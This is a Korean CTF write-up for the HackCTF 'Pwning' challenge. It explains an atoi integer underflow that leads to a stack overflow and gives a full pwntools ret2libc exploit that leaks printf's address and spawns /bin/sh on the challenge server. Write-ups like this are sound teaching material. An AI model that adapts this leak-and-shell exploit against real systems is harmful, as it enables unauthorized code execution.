HACKCTF - Pwning
2020. 8. 23. 20:38ㆍCTF's Write-up
해당 nc에 접속하면
몇바이트를 입력 받을지 받은 다음, 해당하는 글자 수 만큼 입력을 받는 것을 볼 수 있습니다.
해당 부분을 ida로 확인해보면
취약한 부분이라고 나오는데 get_n 으로 <-- 재정의된함수
입력을 받고 32보다 작으면 그 다음동작이 실행되는군요. 근데 nptr을 atoi하기에 음수를 넣어서 underflow취약점을 발생시킬 수 있습니다. 사진을 보면 이해가 빠르실거에요
4294967295 만큼 수신한다고 되어있죠? 이렇게 하면 내가 원하는 만큼 입력을 할 수 있고, 마츰 12번째줄에 nptr을 한번 더 받는데 여기서 bof가 일어날 수 있겠군요.
그 후에 익스플로잇 과정은 전과 똑같습니다 릭해서 주소 구하고 libc찾아서 system, binsh해주면 되겠네요.
다만 이번문제에서 약간 다른점은 libc를 주지 않기에 직접 찾아야합니다.
https://libc.blukat.me/해당사이트에서 libc를 찾기위해 atoi_got의 위치과, printf_gof의 위치 두가지를 찾아서 입력해서 libc를 찾았습니다.
해당 libc를 불러와서 exploit코드를 작성합니다.
아래는 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3019)
e = ELF("./pwning")
l = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
context.log_level = "debug"
r.recvuntil("? ")
r.sendline("-1")
printf_got = e.got["printf"]
printf_plt = e.plt["printf"]
atoi_got = e.got["atoi"]
printf_offset = l.symbols['printf']
sysyem_offset = l.symbols['system']
binsh_offset = next(l.search('/bin/sh'))
vuln = 0x0804852F
payload = ""
payload += "A"*0x2c + "A"*0x4
payload += p32(printf_plt)
payload += p32(vuln)
#payload += p32(atoi_got)
payload += p32(printf_got)
r.recvuntil("data!\n")
r.sendline(payload)
r.recvuntil("\n")
log.info("now i'll get leak address")
leak = r.recv(4)
printf_add = u32(leak)
base_add = printf_add - printf_offset
binsh_add = base_add + binsh_offset
system_add = base_add + sysyem_offset
log.info("printf_add = " + hex(printf_add))
log.info("base_add = " + hex(base_add))
log.info("binsh_add = " + hex(binsh_add))
log.info("system_add = " + hex(system_add))
r.recvuntil("? ")
r.sendline("-1")
payload2 = ""
payload2 += "A"*0x2c + "A"*0x4
payload2 += p32(system_add)
payload2 += "A"*0x4
payload2 += p32(binsh_add)
r.recvuntil("data!\n")
r.sendline(payload2)
r.interactive()
|
cs |
이 코드를 실행하게되면
이렇게 flag를 획득할 수 있습니다 (grin)
처음에 underflow취약점 찾는데 시간이 조금 걸려서 어떻게 익스해야하나 생각했는데.
찾고나니까 빠르게 풀 수 있어서 좋았네요 ㅎ
'CTF's Write-up' 카테고리의 다른 글
DreamHack - basic_exploitation_001 (0) | 2020.08.24 |
---|---|
Dreamhack - master_canary (0) | 2020.08.24 |
DreamHack - rev-basic-8 (0) | 2020.08.17 |
HACKCTF - RTL_World (0) | 2020.08.16 |
HACKCTF - g++ pwn (0) | 2020.08.14 |